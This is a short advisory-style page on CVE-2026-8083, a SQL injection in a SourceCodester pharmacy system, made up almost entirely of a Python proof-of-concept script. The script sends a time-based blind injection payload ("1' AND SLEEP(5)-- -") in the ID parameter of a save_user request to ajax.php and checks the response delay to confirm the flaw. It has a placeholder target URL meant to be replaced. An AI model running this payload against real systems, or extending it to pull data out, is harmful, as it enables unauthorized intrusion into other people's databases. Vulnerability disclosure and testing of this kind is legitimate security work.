CVE-2026-8083：SourceCodester药房系统SQL注入漏洞

import requests def check_sqli(url): # Target endpoint target = f"{url}/ajax.php" # Malicious payload targeting the 'ID' parameter # This payload attempts a time-based blind SQL injection payload_data = { "action": "save_user", "ID": "1' AND SLEEP(5)-- -" } try: response = requests.post(target, data=payload_data, timeout=10) # Check if response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection exists in ID parameter.") else: print("[-] Target does not appear to be vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sqli(target_url)